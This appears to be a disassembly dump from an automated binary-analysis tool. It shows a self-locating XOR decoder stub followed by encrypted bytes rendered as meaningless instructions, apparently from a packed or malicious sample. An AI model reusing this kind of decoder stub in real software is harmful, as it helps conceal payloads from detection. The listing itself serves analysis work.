Function at 0x803edc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x803ee6
pushal
call 0x803eec
pop ebp
sub ebp, 0x10
sub ebp, 0x403edc
jmp 0x803f02
mov eax, 0x403edc
add eax, ebp
add eax, 0x4c
mov ecx, 0x5fb
mov edx, 0x48ee847e
dec eax
xor byte [eax], dl
inc eax
dec ecx
jne 0x803f19
jmp 0x803f2c
cmc
mov bl, 0xf5
test dword [edx + 0x7e], 0xbfff7e7e
xchg byte [esi + 0x7e], bh
jle 0x803fb8
mov bl, 0xc6
js 0x803fbd
jle 0x803fbf
les edx, [esi + 0x7e]
jle 0x803fc4
mov dword [ebp + edi*2 + 0x72fff5b6], ebx
jle 0x803fcd
jle 0x803fce
mov ebx, 0xc6162e2e
lea esi, [eax + 0x7e]
push ss
pop ebp
xor eax, 0x527f7e4f
pop edx
push ss
nop
dec ecx
jbe 0x803f18
xchg esi, eax
jnp 0x803fe7
jle 0x803fe9
xchg edi, eax
push eax
jle 0x803fed
jle 0x803f9c
sub ah, byte [ebx]
cmc
sti
jbe 0x803ff5
jle 0x803ff7
cmc
jmp 0x803fee
jb 0x80401c
cmc
pop edx
jp 0x804021
jle 0x804023
push ss
invalid
xchg edi, eax
xor eax, 0xf37e7e7c
sbb bl, byte [edx - 0x7e]
sbb bl, byte [edx - 0x7e]
pop edx
xor bh, 0x52
pop edx
not dword [edx + 0x5a]
cmc
xchg edx, eax
or dword [ebx], 0x760b8172
xchg esi, eax
or esi, dword [edx - 0x7f]
or esi, dword [esi - 0x6a]
push es
jle 0x80404e
jle 0x803fc7
ret
std
xchg esi, eax
jnp 0x804021
jno 0x803fe7
xor byte [esi + 0x7e], bh
jle 0x80406e
jle 0x804063
div byte [esi]
jle 0x804074
jle 0x804075
jle 0x804010
sbb ch, dh
cmc
bound eax, qword [edi - 2]
test dword [esi + 0x7e64fa71], edx
jle 0x804082
inc byte [ebp + 0x6ffa7197]
jle 0x80408a
jle 0x804026
inc dword [ebp - 0x58ea47f]
imul edi, dword [esi + 0x7e], 0x7e
aas
sbb dword [ebx + 0x71], 0x7e7e6bfa
jle 0x804058
xchg edi, eax
mov dl, 0x81
add dword [ecx + 0x7f473257], 0xfd7bbffd
inc edi
jg 0x804020
mov edi, 0x7a96fd7b
xchg edi, eax
xchg esi, eax
jp 0x803fc0
ret
sub esi, ebp
or esi, dword [edx - 0xb]
add esi, dword [esi - 0x7e]
int3
hlt
mov ecx, 0x7e7e7e7f
lds edi, [esi + edi*2 + 0x7e]
jle 0x8040ea
jle 0x8040ea
lodsb al, byte [esi]
jno 0x80406c
jnp 0x8040f1
jle 0x8040f3
jle 0x80406a
hlt
push 0x71ac6c38
std
cmpsb byte [esi], byte es:[edi]
add dword [ecx + 0x71ac7c81], 0x7e7e7bfb
cmp dword [esp + ebp*4 + 0x71], 0x7e7e7bfb
jno 0x80407f
jnp 0x804104
jle 0x804106
jle 0x80407d
hlt
push 0x71ac6c38
cmp byte [esp + ebp*4 + 0x71], ch
std
adc al, 0x7e
jle 0x804111
jle 0x804110
jle 0x8040e1
dec ebp
mov esi, 0xfb71ac7c
jnp 0x804119
jle 0x80411b
hlt
hlt
insb byte es:[edi], dx
lodsb al, byte [esi]
insd dword es:[edi], dx
mov esi, 0x7e78fa71
jno 0x8040e0
js 0x804166
jle 0x804168
cmc
mov eax, dword [0x7df4a655]
idiv byte [ecx + 0x39]
jns 0x80412c
lds edi, [esi + edi*2 + 0x7e]
jle 0x804090
push cs
add dword [ecx + 0x7e7fc681], 0xac7c7e7e
jle 0x80417f
lodsb al, byte [esi]
jno 0x804101
jnp 0x804186
jle 0x804188
hlt
mov esi, 0xfb71ac7c
jl 0x8040bf
jno 0x804110
jnp 0x804195
jle 0x804197
hlt
cmp byte [esp + ebp*4 + 0x71], ch
cld
mov al, byte [0x55818181]
mov ebp, 0x7e7e7fc5
jle 0x80419d
sti
dec edx
jle 0x8041ae
jle 0x8040f9
jg 0x8041b2
jle 0x8041b4
jle 0x8041b3
jl 0x8040e4
lodsb al, byte [esi]
jno 0x804135
jnp 0x8041ba
jle 0x8041bc
hlt
fisub dword [eax]
xchg edi, eax
jbe 0x8040e4
add dword [ecx + 0x769ebf36], 0xf53878f4
mov edi, 0x78f4769e
cmp ch, dh
jbe 0x80415e
js 0x8041a4
cmc
xchg esi, eax
invalid
lodsb al, byte [esi]
insd dword es:[edi], dx
mov bh, 0x7c
lodsb al, byte [esi]
jno 0x804181
jnp 0x804206
jle 0x804208
hlt
inc dword [esi + 0x7e7e037e]
jle 0x80419c
jle 0x804219
jmp dword [edi - 0x7e7e7e7f]
cmpsd dword [esi], dword es:[edi]
add dword [ecx - 0x79007e7f], 0x7e7e7b7e
jnp 0x804224
jle 0x8041a7
jmp dword [edi - 0x7e7e7e7f]
cmpsd dword [esi], dword es:[edi]
add dword [ecx - 0x79007e7f], 0x7e7e7efe
xchg dh, bh
jle 0x804230
jle 0x8041b3
jmp [edi + 0x7e7e7e7e]
scasd eax, dword es:[edi]
jle 0x804235
jle 0x804237
inc dword [esi + 0x7e7e7efe]
xchg dh, bh
jle 0x80423c
jle 0x8041bf
jmp [edi + 0x7e7e7e7e]
scasd eax, dword es:[edi]
jle 0x804241
jle 0x804243
sub ch, dh
mov dword [ebp - 0x72], edx
invalid
jbe 0x804286
cmc
inc edx
pop edx
sbb bl, byte [edx + 0x7a]
and byte [edi + 0x7e7e7e7a], dl
xchg edi, eax
wait
add dword [eax + 0x3e40a2c6], esi
jle 0x80429c
invalid
mov ebx, 0x7d1dbeff
jle 0x8042a4
invalid
dec esi
outsb dx, byte [esi]
aaa
jno 0x804231
sti
mov byte [ecx + 0x7a978181], al
add dword [ecx + 0x7e7a9781], 0x84337e7e
jle 0x8042bc
jle 0x804273
test ch, bh
std
invalid
pop edi
push esi
sub dl, dh
popfd
push esi
sub bl, byte [0xa1a10196]
mov eax, dword [0x7f2a5fa2]
sub ah, bh
popfd
sub ah, byte [0xa1a19591]
mov eax, dword [0x5b26798a]
sub bl, bl
mov eax, dword [0x58265b26]
sub bl, al
movsd dword es:[edi], dword [esi]
pop eax
and byte [ebx - 0x5f], bl
mov eax, dword [0x25aea1a1]
out 0xa1, eax
mov eax, dword [0x2077a2a1]
test ax, 0xa1a1
mov eax, dword [0xa1a94820]
mov eax, dword [0xa15820a1]
mov eax, dword [0x25aea1a1]
insd dword es:[edi], dx
pop esi
pop esi
pop esi
pop ebx
mov eax, dword [0xaea1a1a1]
and eax, 0xa1a1a1e7
mov byte [0xa9662077], al
mov eax, dword [0x4820a1a1]
dec eax
test eax, 0x20a1a1a1
pop eax
mov eax, dword [0xaea1a1a1]
and eax, 0x5e5e5e6d
invalid
lodsd eax, dword [esi]
and al, byte [ecx - 0x52]
and byte [ecx - 0x5e], bl
mov eax, dword [0x24aea1a1]
lodsb al, byte [esi]
mov eax, dword [0xac24aea1]
mov eax, dword [0x2ac7a1a1]
cmpsb byte [esi], byte es:[edi]
and byte [ecx + 0x5e], al
scasb al, byte es:[edi]
mov eax, dword [0xa063a2a1]
mov ecx, 0x6622e8e8
mov dword [0x5e5e6948], eax
mov word [0x5e5e6948], ax
pop esi
dec eax
movsd dword es:[edi], dword [esi]
mov eax, dword [0x5847a1a1]
cli
sbb byte [ecx], 0x7d
lahf
loope 0x804272
mov byte [0xb7612064], al
movsd dword es:[edi], dword [esi]
mov eax, dword [0xa39018a1]
mov eax, dword [0xa2351ba1]
xchg edx, eax
push ds
xchg ecx, eax
mov cl, 0xe1
call 0x5ed76799
pop esi
pop esi
dec eax
movsd dword es:[edi], dword [esi]
mov eax, dword [0xc8b6a1a1]
jmp 0x804307
dec edx
cmp dword [0x3588b13a], esi
xor eax, 0x3972be35
retf 0x2da0